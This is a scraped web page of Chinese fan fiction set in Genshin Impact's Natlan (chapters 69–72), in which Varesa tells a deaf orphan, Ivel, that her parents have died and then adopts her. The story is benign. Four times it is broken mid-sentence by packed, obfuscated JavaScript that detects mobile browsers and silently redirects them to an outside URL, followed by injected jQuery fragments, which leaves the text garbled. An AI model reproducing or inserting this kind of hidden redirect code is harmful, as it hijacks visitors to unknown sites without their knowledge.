;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709845|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清了……[当有人来到家里,要对他们笑。如果他们想要抓住你,那就跑。跑的时候要大声喊“爸爸妈妈”。]应该是这样吧?你不确定地朝着叔叔和姐姐露出笑容,肩膀悄悄地往前缩了缩。 当人不能从周围的环境获得足够的安全感,大多数人会蜷起身体,把自己缩起来。抱团式的,像刺猬就地藏起自己,像鸵鸟把头埋进沙里。年幼的你不会明白自己的困惑与不安已经透过肢体语言表现出来。 - 啊啊,是被吓到了吗。瓦雷莎看着身高还没到她大腿的、小小一团就差瑟瑟发抖的伊薇尔,这样想着,无奈地弯了弯唇。 想想也不是不能理解,一个人在家的小孩子忽然面对两个闯进家里的大人会感到害怕什么的。瓦雷莎扯了扯首领伯伯的衣角,示意后退两步、多给伊薇尔一点空间。 这么做,或许伊薇尔会好受一点。特意没有盯着伊薇尔给她施加压力的瓦雷莎视线掠过屋子里的摆设,有裂口的杯子、装了水的边沿湿漉漉的小桶……嗯,果然还是今天就把伊薇尔带走吧。 伊薇尔并不能很好地照顾她自己。 说起来,她特意找人拿来了伊薇尔爸爸妈妈的相片,瓦雷莎垂下眼眸,啊呀,她待会儿可能要对伊薇尔做很残忍的事情:告诉一个孩子她的爸爸妈妈不会回来了什么的。 不知什么时候,瓦雷莎嘴边的笑意敛起,那张看上去总是柔软无害又好欺负的脸庞此刻竟会透出几分冰冷。 她可能要被伊薇尔讨厌了,瓦雷莎这样告诉自己,要被自己喜欢的孩子讨厌这个认知让瓦雷莎的心脏皱成一团,酸酸涩涩的。但她必须得这么做,瓦雷莎清楚,当伤口已经形成,一味地掩盖只会让它腐烂。 事实已经发生,瓦雷莎本可以去欺骗伊薇尔说是她的爸爸妈妈派自己来照顾她的,或者找别的什么理由,把伊薇尔的爸爸妈妈死亡的消息往后推,等伊薇尔更大一点的时候才让她接触到这个消息。 但这会是伊薇尔想要的吗?尖锐的现实和泡沫般的美好。可泡沫散去的时候,伊薇尔会不会二次受伤。如果小伊薇尔不能接受的事情,又凭什么要求那个长大的伊薇尔接受? 不管年龄多大,那都是伊薇尔,瓦雷莎这样认为。 瓦雷莎想起昨天自己在野外看到的伊薇尔,脸上会有看到陌生人的警惕,会纠结,会尝试并最终做出自己的决定。 瓦雷莎想起那双亮晶晶的橙色眼睛,就算现在这双橙色的眼睛似乎把光芒藏了起来,瓦雷莎愿意相信伊薇尔不会被这个事实打倒。天空变暗了,但太阳仍会升起。 只是、作为直接把这个事实赤裸裸地展现在伊薇尔面前的人,她可能要被伊薇尔讨厌了。 [不要讨厌我好不好。]瓦雷莎听到自己的心在小声地说。听上去好无理取闹的要求,瓦雷莎这样点评自己。 “你好。”声调有些奇怪的稚嫩嗓音在身边响起,瓦雷莎眨了眨眼,在自己身边看到浅黄色头发的小女孩正朝她举着还剩半盒的龙龙饼干。 69.纳塔篇-7 不知道为什么,粉色头发的大姐姐看上去好像很伤心的样子。 在叔叔和姐姐退开了一点之后,你觉得空间一下子变大了,自己好像又能呼吸了。 原本因紧张而无法思考的脑子重新转动,你开始猜测他们的来意。那个叔叔长得有点眼熟,是你在什么时候见过?你见过的人一般是和爸爸妈妈一起见的,所以叔叔应该认识爸爸妈妈。 这么想的话,叔叔也是来等爸爸妈妈回来的吗。曾与父母一起见过沃陆之邦的首领的你并没有意识到眼前这个戴着面具的男人的身份,或许告诉小孩子“首领”这个身份还没有“老大”这个称呼来得通俗易懂。 你自顾自地给他决定了来到这里的原因。那么,大姐姐是为什么来的呢? 你小小的脑袋转啊转,早上吃掉的那半盒饼干忽然出现在你的脑海里。你忽然有点心虚,又夹杂了无措。 当时你看到那盒饼干上面贴的是大姐姐的图案,就认为是大姐姐给你的,但有没有一种可能,这盒饼干其实是给大姐姐的呢。绘本里的故事呈现在你眼前,那是关于一只小龙捡到宝石守在失地等失主来找、最后和失主成为朋友的故事。 ……故事里的小龙捡到宝石没有拿回家,而你把那盒出现在门外的饼干吃掉了一半。想到这个事情,你一下子无师自通了什么叫“汗流浃背”。大姐姐现在伤心,是因为发现你吃了她的饼干吗。 你很少和爸爸妈妈以外的人交流,也没有过这种“吃掉了别人的食物”或“弄坏了别人的东西”还被人找上门的经历。 呜,好像变成了一个坏孩子……如果你的头上有显示心情的毛绒耳朵,想必此时一定是耷拉着的。不过,做错了事情要弥补才行。这样,你还是可以做个好孩子的。 你尝试在心里安慰自己,却怎么也挥不去笼罩在心里那个蹲在角落的小孩头上的阴云。 讨厌,早知道不吃了。心里的你正跟自己赌气,似乎做错了事情,但谁都怪不了,于是只能怪自己。 ……真的要怪你吗,不可以不怪吗。你的眼尾也随着你的心情一并下垂,可是饼干真的很好吃。如果再给你一次机会、让你提前知道这盒饼干不是给你的,你可能、或许,还是会吃的。 你没有办法信誓旦旦地保证这样自己就一定不会吃。早上起来饿得喵喵叫的你没有太多的防备,也许脑子知道自己大概不应该吃下去,但还是会侥幸地猜想与偏向那个对你更为有利的结果——万一真的是给你的呢? 如同流浪在外的猫猫狗狗,小猫小狗就一定不知道忽然出现在自己面前的食物可能有毒吗。只是,好饿好饿。面前有两条路,怎么选都是死,那就让它做个饱死鬼吧,可能会这么想。 可惜在它填饱肚子之前,它咽进肚子里的毒药就翻绞着它的肚子,让它在痛苦的挣扎中无力地离开这个世界。 好像它并没有做错什么,又好像它做什么都是错的。 你好像应该做个好孩子,可是做个好孩子好饿啊。如果伊薇尔真的是个好孩子,你昨天就不会在外面遇到粉头发的大姐姐,那你还会吃上热乎乎的肉吗。 你不知道这个问题的答案。 你只是眨了眨眼睛,捧着那半盒吃剩的饼干,把它递到大姐姐的面前:“你好。”话说出口的那一瞬间,你有点忐忑,有点想闭上眼睛,这样就不会看到她可能向你投来的厌恶的眼神。 害怕……会被打吗……你没有闭上眼睛,放空了眼神。你变成了“坏孩子”,“坏孩子”会受到惩罚,至于是什么样的惩罚?这个你没有了解过。因为不了解所以害怕,因为害怕所以更加恐慌。 你一股脑地把你害怕发生的事情都丢到那个名为“坏孩子会受到的惩罚”的箱子里,把手伸进去的你看不到自己抓住的小球是哪一个,不知道现在变成“坏孩子”的你会被怎么对待。 小到被轻轻地拍脑袋、然后指着鼻子说上两句不知道是什么的话,大到爸爸妈妈知道你是一个坏孩子,决定不要你了。全都是你害怕的。 为什么会觉得爸爸妈妈会因为你是坏孩子而不要你?感觉吧。你不懂大人世界里的风云变化,你就是个小孩子,从你睁开眼睛的那一刻就看到爸爸妈妈都在身边,他们都对着你笑。 但是忽然有一天,这些都变了。爸爸妈妈变得早出晚归、接着是出去了就不知道多久才回来。有时爸爸妈妈看你的眼神会让你感到害怕。是你做错了什么吗?可你依然会被妈妈抱进怀里,乖乖地看着她一次次地告诉你要做个“好孩子”。 现在,你好像要让爸爸妈妈失望了。你站在大姐姐的跟前想。不过仔细一想,昨天一个人跑出家门的你就已经不能算是好孩子了,今天充其量是在这个基础上再偷吃了别人的饼干。 你抿着嘴,等着大姐姐给你的惩罚。 你没有等到惩罚。粉色头发的大姐姐接过你手里的饼干,你手上一轻,以为接下来就要被打了,会很痛吗?你不知道,你强行忍住了心里的害怕没有发抖,你没有表现出来。 结果等来了大姐姐用一只手轻柔地捧起了你的脸,另一只手拿着饼干抵到你的唇边。 依旧是温柔的仿佛多用一点力就会把你弄伤的动作。 欸?你呆住了,愣愣地看着大姐姐。 [——]大姐姐嘴唇蠕动,似乎有些苦恼地说了些什么,很快放下了手里的嵴锋龙饼干,转而拿起另一块绿色的匿叶龙饼干送到你的嘴边。 - 伊薇尔……是想要做什么?瓦雷莎看着面前举着饼干的小女孩,有些不确定伊薇尔想要做什么。 这份龙龙饼干是她今天早上做好托人送过来的,糖、面粉等的比例都没有出错,应该不会难吃到哪里去。瓦雷莎思考,伊薇尔这会是想让自己喂她吗?这样算不算是在撒娇。 被打断了原本悲伤的情绪,瓦雷莎没再沉湎于那种伤心,她谨慎又小心地接过饼干,拿起一块便送到伊薇尔嘴边。 不知道为什么,感觉伊薇尔现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723873|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像有点害怕和难过?怎么回事,难道她和伊薇尔之间的悲伤是会转移的吗,她现在不难过了就轮到伊薇尔。看着面前眼睛里藏了一下还是会流露出忐忑的伊薇尔,瓦雷莎又是好笑又是心疼。 好了好了~别难过了~瓦雷莎一个顺手像是摸小龙一样摸了两把伊薇尔毛茸茸的发顶,摸完了才发现这么做似乎不太适合,起码见面都没有几次的人忽然这么做会显得有点突兀吧? 瓦雷莎略有些心虚地瞄了瞄伊薇尔的表情,没发现呢。那就好,不过为什么没吃这块饼干?瓦雷莎又看了看自己手上拿的饼干,线条圆润的小嵴锋龙映入眼帘。卖相也是没问题的,那么,“是不喜欢这块饼干吗?”瓦雷莎迟疑地问出口。 很显然地,瓦雷莎没有得到回复。瓦雷莎也没有在意,反而兴致勃勃地拿起另一块绿色的匿叶龙饼干继续尝试投喂伊薇尔。是不喜欢这块饼干还是暂时不想吃东西,多试几次总能试出来的。 瓦雷莎不由想起了自己小时候投喂龙伙伴瓦娜娜的画面。那时她和瓦娜娜也是听不懂对方的语言,但是慢慢地,就积累出了默契。语言不通什么的,和现在真想呢。想到这里,瓦雷莎弯了弯嘴角。 不过小时候的瓦娜娜被缠着塞东西的次数多了会不耐烦地用脑袋上那只还没完全长大的角拱人,现在要是多试几次,伊薇尔会不会也用脑袋拱人?想到之前刚摸过的伊薇尔脑袋那毛茸茸的手感,瓦雷莎竟有种诡异的期待。 好像……看的书里有说小孩子会更青睐颜色明亮的东西。瓦雷莎不太确定自己以前是不是这样的,因为就算到了现在能帮家里干活的年纪,她还是很喜欢粉红色、亮青色这种清新亮眼的糖果色。 这么说来,嵴锋龙棕棕的颜色确实不太显眼……试试绿色的匿叶龙饼干,颜色像嫩嫩的小草。 瓦雷莎尝试着。这一次,伊薇尔抬起脑袋看了她一眼,然后乖乖地张开嘴咬住了饼干。吃东西的样子……好可爱!瓦雷莎感觉自己要被可爱晕过去了,这就是所谓的“投喂的快乐”吗? 并不护食、过去也经常和同伴分享食物的瓦雷莎第一次有这种感觉,不是说之前和同伴们一起吃就不开心啦,之前那种更多的是大家一起吃东西、一起做某件事情的安心感?现在则是看着伊薇尔吃东西就很开心。 甚至会会想要给伊薇尔喂更多的东西。于是,看着伊薇尔刚吃完一块饼干的瓦雷莎眼疾手快地拿起另一块饼干又递到伊薇尔的唇边。嗯,这次是红色的绒翼龙饼干……也吃了。下一块试试淡紫色的突角龙饼干吧。 就这样,瓦雷莎一连给伊薇尔喂进去了好几块饼干,直到伊薇尔摇头才停止了投喂饼干的行为。“咳咳。”旁边的首领见缝插针地咳嗽两声,提醒瓦雷莎他们今天是来做什么的。 对哦,不好意思。瓦雷莎抱歉地朝首领笑笑,随后牵着伊薇尔的手,把小女孩带到桌子边,将一张相片放在桌上。 看到那张相片里的人,小女孩橙色的眼睛一下子定住了。 70.纳塔篇-8 相片里的人是…… 那是你的爸爸妈妈。相片里的他们似乎在和一个背对着相片的人说话,因此留下的并不是正脸,但这已经足够你认出他们了。 是来到这里之后的爸爸妈妈,是你在等着他们回来的爸爸妈妈。 为什么,大姐姐会拿出有爸爸妈妈样子的纸放到你面前呢?你下意识地想。你陷入思考又逃避结论的模样很好认,虚焦的橙色眼睛似乎在盯着半空,却什么也映照不出来。 ……不要……别……不要…… 你差点就顺着自己心里忽然汹涌而来的情感哀鸣出声了。可是,你在“不要”什么?你自己都不知道。 你不知道为什么原本说好了会回家的爸爸妈妈在沙漏里的沙子停止流动后还没回来,你不知道自己的潜意识已经从先前信使小哥的举动和首领的到来等蛛丝马迹中分析出了那个对你而言太过残忍的事实。 你只是一个话都说不流利的小孩子,你固执地一次次压下自己心底里无名的恐慌,告诉自己你绝对会等到的,爸爸妈妈不会不要你的。 可是,爸爸妈妈真的不会不要你吗。 你的耳朵什么都听不到,所以不会听见爸爸对妈妈“要不把她丢掉算了,没了伊薇尔我们还可以有新的孩子。”的劝说,就算爸爸当着你的面这样说你也不会知道他嘴里说的是你。 你也不够聪明,所以看不出妈妈挣扎之下的痛苦与抱怨,看不出爸爸在妈妈挣扎后对你越发冷漠的眼神。 坐在角落里的你只是呆呆地想,啊,要是你能快点长大就好了,这样一切都会好起来的吧。绘本里就是这样说的,小龙小的时候什么都做不好,但是等小龙长大了,它就什么都能做到了。 你其实不知道自己长大后要“做到”的是什么,不过是你曾经在爸爸妈妈好像在说什么的时候走过去,然后被妈妈摸摸头,接着把你放到角落里,跟你解释[这是大人之间的事情,小孩子不用管。]。 于是你觉得,等你长大了,你就和现在不一样了。到那时,一切都会好的。被一句话搪塞的小孩子以为只要她变成大人,她就能做到小时候的自己做不到的事情,她就能让每个人都满意。 被教育“等你长大了就知道了”的小孩不明白大人会遇到大人的麻烦,同样会有自己无法解决的事情。 小孩子只是满心以为,长大了就好了。 至于现在,没必要难过,反正最后妈妈还是会把你抱进怀里的。虽然在这之前,你可能要等她和爸爸说完“大人的事情”,等他们离开,等他们回来。继续等下去。 你是这么告诉自己的,也是一直这么做的。 你其实不喜欢等待,有时也不想做个好孩子。可是,这好像是你为数不多的、能做到的事情了。 所以乖乖的,不要去打扰妈妈;所以乖乖的,要好好配合妈妈。 你相信爸爸妈妈既然离开了,那他们就会回来的。对你而言,这与太阳落山后会在第二天到来的时候升起的规律并无区别。虽然有时太阳不够准时,但是等到第三天、第四天……太阳总会升起的,爸爸妈妈总会回来的。 可是为什么,如今看到大姐姐拿出这张映有爸爸妈妈身影的相片时,你竟然会感到恐慌呢? 你不由地想闭上眼睛。听不见、看不见,便不会知道;好像这样做,你就能把那个自己讨厌的结局排除在自己的世界之外。 你最终没有闭上眼睛,定定地看着大姐姐拿出一支笔,移到相片上,移到爸爸妈妈的脸上。笔尖似乎有些犹豫,在空中悬停着,过了一会儿,还是坚定地落了下去。 —— 有什么哽在喉咙里,这让你想要说些什么,可你不知道自己能说什么,或者、你应该说什么吗。 好奇怪,能看到的东西好像都变模糊了,不过你还是能看清那张相片的。 - 自己真的要这么做吗? 明明已经给瓦娜娜透过消息还给远在他国的爸爸妈妈写了信,明明已经做好了准备还把首领也找来了,结果现在看到伊薇尔无暇的眼睛还是会犹豫。瓦雷莎在心里嘲笑自己:这样可不行。 就当是为了自己的私心,就当是为了伊薇尔……有的事情该做,那就一定要做。捂住眼睛或是蒙上耳朵什么都不能改变,如同肢体上已经腐烂的肉,想要好起来就不能放任不管,就要把腐烂的肉给尽数挖掉。 暗暗给自己打了一番气,瓦雷莎拿出笔,缓慢地、郑重地,在小女孩的注视下,朝伊薇尔爸爸妈妈的人影打上大大的“×”。 一笔、两笔;一个、两个……缓慢地、重复地,以至于最后密密麻麻、重重叠叠,让相片上的人影几乎被覆盖,相片几乎不能再被称为一张合格的相片。 血红的,笔直的,一层一层,就这样彻底遮掩住伊薇尔所熟悉的那两张脸。 “啪嗒” “啪嗒” “啪嗒” 瓦雷莎停下手中的笔,她抬起眼睫,面前的小女孩橙色的眼睛里落下了豆大的泪珠,先是一颗一颗坠下来,再是连成线般劈头盖脸的,如同失控的水龙头关不住闸的。 伊薇尔哭得肉眼可见地快喘不上气了。即便是这样,她还是相对安静的,喉咙里些微溢出的呜咽声还没她因为哭泣而上气不接下气的喘息声来得大。但无论是谁都能看出她的难过。 一双眼睛能流出多少眼泪?瓦雷莎没有想过这个问题。或许比起眼泪,直接让瓦雷莎打上一架会来得更加痛快,去锻炼把体力全都消耗掉也可以。 瓦雷莎原本以为她需要循序渐进地去说服伊薇尔的。先告知事实,再说明事情的具体情况,这样一点点地展开去让伊薇尔相信这个事情的。而现在,她刚摆出了事实,伊薇尔就接受了,出人意料的接受速度。 ……感觉像是伊薇尔早有猜测,自己不过是揭开了“爸爸妈妈为什么现在还没回来”这个问题的最后一层面纱。于是之前被压抑的情感都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16747455|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此刻宣泄,那些害怕、迷茫、担忧、依恋、想念…… 瓦雷莎在心里叹息。她伸出手,把伊薇尔小小的身体抱进怀里,对比小孩子稚嫩的背脊显得十分宽大的手掌轻轻地给伊薇尔顺气。 哭吧、哭吧。把心里所有的难过都哭走。 瓦雷莎没有开口安慰伊薇尔,言语有时显得苍白无力,而对于一个因为失去父母而陷入悲伤的、耳朵什么都听不到的小孩子而言,漂亮的安慰话更像是说的人在说给那个人自己听。 抱歉,伊薇尔。要好好地迎接明天,伊薇尔。对她生气也可以,但是不要气坏了身体,伊薇尔。不要因此而停下走向未来的脚步,伊薇尔。 纳塔这片战火烧了几百年甚至更久的土地上从来不缺乏生离死别。 即便不提很久很久以前还是龙主导的纳塔里,人是怎么反抗,怎么从强大的龙族、源源不断的深渊魔物手中硬生生地撕开一条血淋淋的前路的,单就是最近的一次还魂诗里,也不是所有人都平安归来。 即便抱有坚定的决心、坚强的意志,依然有人在胸膛被洞穿、灵魂抵达夜神的国度再被拉回来的过程中迷失。 哪怕最初的火神因为人有尽而深渊魔物无尽,为了纳塔的延续而开启了圣夜归火巡礼,让拥有古名的人在战争中死后仍能复生,可人终究是人,会有自己在意的人与事、会哭会笑,像薪柴,燃尽了便只剩下一地的灰。 学会与自己在意的一切告别、学会面临命运的拨弄仍怀揣自己的初心,这是每个踏上战场的人都要做的事情。而这个过程,只能自己扛过去,没有人可以伸出所谓的援手。 她们都是一样的。 经历过许多场战争、时至今日依然没有放弃锻炼的粉发少女抱着另一个小小的有着浅黄发的孩子,手在她的背上轻轻地拍。 “会过去的、会过去的。”就算知道伊薇尔听不见,瓦雷莎还是说出了口。因为抱着伊薇尔,此刻瓦雷莎看不到伊薇尔那双橙色的眼睛,看到伊薇尔脸上是怎样的神情。 无论如何都没关系,可以慢慢来。一时半会儿走不出来也无所谓,人生的路很长,耽搁一会儿没关系的。 好像想的东西里有的似乎自相矛盾了。意识到这一点,瓦雷莎露出一个抱歉的笑容,既要走出来又不要求立刻走出来,但,总之,就是这样啦。 不过,伊薇尔是不是哭得久了一点?如果再这么哭下去,身体就流失太多水分了,眼睛也会肿的很难受的。想到这里,瓦雷莎紧急从自己的怀里拔出一个伊薇尔。 * 是什么意思? 一个又一个血红的掩盖住爸爸妈妈的“×”。 你想问出口,却不知道自己要怎么问,只好任由泪水跃出眼眶。越涌越多的的眼泪逐渐模糊了你的视线,你仍直直地看向那张已经看不出爸爸妈妈模样的相片。 从大姐姐的举动中,你终于意识到一个迟来的事实:你的爸爸妈妈,他们不会回来了。 71.纳塔篇-9 好奇怪。 眼泪就像控制不住一样不断地往外流。仿佛要呼吸不过来了,你微微张开嘴唇,如同被甩上岸的鱼,奋力地张合着鳃盖,鳃盖里血红的鳃丝却无法在空气里舒展,于是黏连成丑陋的、乃至于脏污的一团,直到它的心脏停止跳动。 被甩上岸的鱼终于不用再费力地摆动着无法游动的尾巴了。 而你是人,你不是鱼。 鱼会因为暴露在空气里而死去,但你不会。 你张开口,明明没有说话,胸腔里的心脏也分明地有力的跳动,只是不知道为什么身体好像变得很沉重。你安静地大口呼吸——其实你也不确定自己有没有发出声音——便从嘴角尝到了自己眼泪的味道。 咸咸的,苦苦的。一点都不好吃的味道。 朦朦胧胧间,你似乎被谁温柔地抱进怀里,鼻子嗅到温暖的味道,像是阳光,又像是晚饭时迎着夕阳摆出的满满一桌热腾腾的饭菜。和妈妈的不一样,你这样想,却不知不觉地松开了原本缩着的肩膀。 …… 眼泪依然在流淌。你不知道时间过去了多久,只要一想到爸爸妈妈不会回来了,已经干涩的眼眶里就还能够继续涌出水来。你其实还没有完全理解死亡是一个怎样的概念,你只是模模糊糊地意识到,或许你再也见不到爸爸妈妈了。 是因为你之前自己溜了出去吗?因为你变成了坏孩子,所以爸爸妈妈不会回来了。脑子里许多好杂好乱的想法如气泡涌出,又像气泡般飘着飘着就破裂了。留下来的只有:啊,从今天开始,你就没有爸爸妈妈了。 从一开始的害怕、恐慌到迷茫、空虚,再到后来的疲倦、困乏。你橙色的眼睛里始终在往外溢出泪水。泪水流过的地方并不总是一致,眼睛下面的皮肤有的依然被眼泪覆盖,有的留下干涸的泪痕。 不知道为什么,你慢慢地生出了一种难以言喻的、如同被撕扯的痛快感,来得很快的痛,又迟迟不走。 似乎一直以来都有个小人坐在你的心里,她被名为“爸爸妈妈”的保护罩密不透风地拢住,而现在,保护罩碎了。 于是那个有着和你一样的脸庞的小人不用隔着保护罩看向外面的世界了,她没有保护罩了,取而代之的是一只又一只不知从哪里伸出来的手,抓住她的脑袋、抓住她的手、抓住她的脚,谑笑着把她撕开,把她分食。 你仿佛能看到那个小小的你皱了皱鼻子,在心里抱怨“这样好痛的”,随后一声不吭地、平静地迎接属于她的结局。 没了爸爸妈妈之后,你会变成什么样呢。 啊,你是个坏孩子。被爸爸妈妈丢掉的坏孩子。 坏孩子得到怎样的结局,好像都不值得惊讶与难过。所以,这样的结局,大概算是常见的。 你的眼泪依然在流,流到眼睛都痛了。身子有点发软,不过被大姐姐支撑住了,没有让你脚底打滑栽到地上。 大姐姐和叔叔,他们什么时候才走呢。你开始想这个问题。如果他们不是来找爸爸妈妈的话,他们还能来做什么?他们不会在这里等到你的爸爸妈妈了,你也是,你也不会在这里等到你的爸爸妈妈了。 你想,你现在应该去问他们还有什么要做的,你应该妥帖地把他们送出门口,就像曾经你的爸爸妈妈他们做的那样。但你感觉自己好累,脑子也转不动了,你不知道你要怎么开口,怎么理解他们的意思,怎么让他们理解你的意思。 你不想思考了,思考也好累。 现在,好想睡觉。 你还没来得及闭上眼睛,就被抱着你的大姐姐推开。你愣愣的不知道发生了什么,就见她捧住了你的脸。 你模模糊糊地看到了大姐姐紫色的眼睛,里面流动的是什么情感?你只是觉得那个看起来亮亮的,很好看。 - 瓦雷莎和那双泪眼对视,呜哇,整张脸哭得跟小花猫似的。虽然有心理准备,但忽然见到这么一张脸还是会不知所措。 粉发少女捧着小女孩哭得一塌糊涂的脸,不由露出豆豆眼:如今应该做点什么?按照预想的话,她跟伊薇尔说明情况,随后便是她郑重地向伊薇尔提出收养请求。那么,她要马上跟伊薇尔交流吗? 跟这只在自己怀里哭得惨兮兮的、现在眼睛都快闭起来的、看着就困困的小花猫交流? “给她喂点水。”这时,旁边沉默的首领大叔忽然递了一只装着水的碗过来,言简意赅地交代瓦雷莎。他看向瓦雷莎的眼神里似乎还包含着一丝“呵,年轻人”的淡然。 首领也有些纳闷,瓦雷莎平时看着挺机灵的,加上又不是没帮部族里看过小孩,伊安珊当教练的时候偶尔还会让瓦雷莎来做个示范,按道理这孩子应该挺擅长和其他人打交道的才对啊。 怎么这会儿见了人就不知道该说什么、做什么了。 唉,年轻人。 这边首领在心里感叹着,那边瓦雷莎道了谢便接过水碗,一手依然托着伊薇尔的背,五指微屈使得伊薇尔的身体向前倾去,另一只手则稳稳地执着碗送到伊薇尔的嘴边。 瓦雷莎示意般用碗的边沿碰了碰伊薇尔此时有些干裂的嘴唇:“伊薇尔,张嘴。”即便知道伊薇尔的耳朵什么都听不到,这个看着就快要困得眼皮黏在一起的小女孩不会知道自己说了什么,瓦雷莎还是耐心地这样道。 有的事情应该做的,那就去做。至于这件事情做了和没做会不会没有区别,那就是另一个问题了。瓦雷莎想要领养伊薇尔、希望这个孩子能够每天过得开开心心。那么,这就是她该做的事情。 既然伊薇尔听不到,那就当做说给自己听的好了。对于这方面,瓦雷莎格外豁达。就当是告诉自己,接下来要做些什么。就当是告诉自己,对待伊薇尔不要太急躁。 只是,瓦雷莎想,就算伊薇尔听不到,她对伊薇尔的表达也依然重要。伊薇尔确实是听不到自己的声音,但她会看到自己的表情、她会看到自己的口型,她会闻到自己身上的味道,她会感知到自己的气息。 会不会回应、要怎么回应,那是伊薇尔的事情。而要对伊薇尔投入什么、又投入多少,那是瓦雷莎要做的事情。 好巧不巧,瓦雷莎愿意把自己所能给的都给伊薇尔。包括耐心、等待和爱。 * 嘴边,有什么东西压着自己。 你费力地睁开眼睛,依稀辨认出是一碗水。说来也奇怪,哭的时候不觉得渴,现在不怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764511|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭的时候喉咙反倒像是被火燎过一样干渴得厉害。 你如小兽般就着碗“咕噜咕噜”地喝水,顷刻间就把一碗水全喝掉了。清冽的凉凉的水流过喉咙,带来一点点舒服的凉意,但还是不够。 比起你身体里流失的水分,你喝进的这碗水可以忽略不计。你还是觉得很渴,甚至更渴了。 要不,你自己走到水桶旁边喝水吧?眼睛半咪起来的你这样想,一碗水什么的,根本不够嘛。换成桶就不一样了,你想喝多少就喝多少,累了说不定还能把头伸到桶里边睡边喝……? 唔,爸爸妈妈有没有说过不能这样来着?好像说过,好像没有……反正他们不会回来了,反正你都是坏孩子了……想到这里,你下意识地扁了扁嘴。 没等你的思维继续发散,新的满满当当的一碗水又很快送到你的嘴边。于是,你乖乖地继续喝水,把自己刚才想的东西全都抛到脑后。 似是怕你喝不够,你刚喝完一碗水,下一碗没过多久就抵到你的唇边。 不知喝了多少碗水,你感觉自己已经满肚子都是水,拍一拍还能听到水在里面晃荡的声音。 于是,当又一碗水送到嘴旁,你闭上了嘴。 喝饱了,不过好像又开始有点饿了……算了,还是等你睡醒再吃吧。这样想着,你正要闭上双眼,准备往下一趴就是睡,却被人拍了拍身子。 ?有什么事吗,不能等到你睡醒再看吗?你略带不满地哼唧两声,最终还是不大情愿地睁开了眼睛。 大概是见你困了,没有耽误太多时间,原本的相片翻了个面,在背面的空白处有人寥寥几笔勾勒出一个有着浅黄色头发和橙色眼睛的简笔画小人,并在小人的不远处画出一栋房子,房子上画了粉头发大姐姐的标志。 随后,由小人为线条的起点,一个箭头指向那栋房子。在你的视线下,笔尖在那个箭头上悠悠地画了个“?”号。 ……是邀请你过去吗……这种事情……怎样都无所谓啦……等你睡醒再说…… 不知什么时候眼皮又闭上的你随意地挥了挥手,你现在只想睡觉。然而,像是因为你没给出准确的答案,那只笔的笔头轻轻地戳了戳你的脸,仿佛你不给出一个答复就不罢休。 呜…… 只想睡觉的你半眯着眼歪着脑袋点了点头。下一秒,一块饼干送到你的嘴边,它碰了碰你的唇。有吃的?你张开口把它咬到嘴里,“嘎巴嘎巴”几下就嚼碎了。 肚子里填充了一块饼干,原本打扰你睡觉的笔也已经移开,背上还有人富有节奏地轻轻拍着,你很快蹭了蹭脸下不属于你的手臂,陷入黑甜的睡眠里。 - “啊,现在可以走了,首领。伊薇尔她已经答应了。”单手抱起伊薇尔的瓦雷莎笑眯眯地看着首领,柔软无害的脸庞让人看不出她刚才究竟做了什么。 沃陆之邦的首领目光略有几分惊异,瓦雷莎什么时候变成这样了?竟然会通过打扰小孩子的睡眠来达到自己的目的……不过,应该不是什么坏事。想到她给人又是喂水又是喂饼干的,首领逐渐释然。 说不定,她们会相处得很愉快呢。想到这里,首领颔首,算是认可了瓦雷莎领养伊薇尔的事。 72.纳塔篇-10 抱起怀里已经闭上眼睛的小女孩,这次没有人打扰,小女孩的睡颜显得格外恬静安宁。就要离开了,瓦雷莎的视线扫过角落里的灰尘,薄薄的一层。也是,不至于会堆积很多灰尘的,毕竟伊薇尔她们来到这里的时间并不算长。 瓦雷莎低下头看了看伊薇尔,长长的睫毛和白嫩的脸蛋让这个小女孩看起来就像精致的洋娃娃一样。很多人应该都不会把“灰尘”和“精致的娃娃”联系到一起。可这应该算谁的错?或者说,错和对真的有意义吗。 